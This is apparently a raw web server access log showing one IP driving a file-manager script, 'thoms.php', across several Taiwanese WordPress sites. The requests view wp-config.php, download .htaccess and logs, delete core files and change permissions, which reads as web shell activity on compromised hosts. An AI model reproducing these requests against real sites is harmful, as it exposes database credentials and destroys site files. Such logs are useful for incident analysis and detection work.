45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17379 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20030 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17464 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17376 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17558 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17858 "https://163.245.207.76/thoms.php?copy=wordpress-6.6.2-zh_TW&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=mah.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 11444 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-load.php&p=big-wife.com.tw HTTP/1.1" 200 11441 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-settings.php HTTP/1.1" 200 19472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-trackback.php HTTP/1.1" 200 14101 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=error_log&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=big-wife.com.tw&view=error_log HTTP/1.1" 200 14631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=readme.html&p=big-wife.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-load.php HTTP/1.1" 200 13653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=wp-content&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-login.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?dl=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?del=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:31 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=index.php HTTP/1.1" 200 12060 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?del=orphan-transpiler&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fupgrade&p= HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p= HTTP/1.1" 200 12073 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?chmod=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p= HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?chmod=license.txt&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=mah.php&p=big-wife.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?del=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-config.php HTTP/1.1" 200 13719 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?del=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?chmod=.well-known&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=mah.php HTTP/1.1" 200 11812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=readme.html HTTP/1.1" 200 15239 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-signup.php HTTP/1.1" 200 22505 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?dl=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?del=.well-known&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:32 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=upgrade&p=big-wife.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 11501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?p=big-wife.com.tw&view=xmlrpc.php HTTP/1.1" 200 13363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?dl=license.txt&p=big-wife.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=error_log&p=big-wife.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?dl=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 12592 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13422 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p= HTTP/1.1" 200 12076 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?dl=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 11496 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 11501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=wp-content&p=big-wife.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fthoms.php&p=big-wife.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
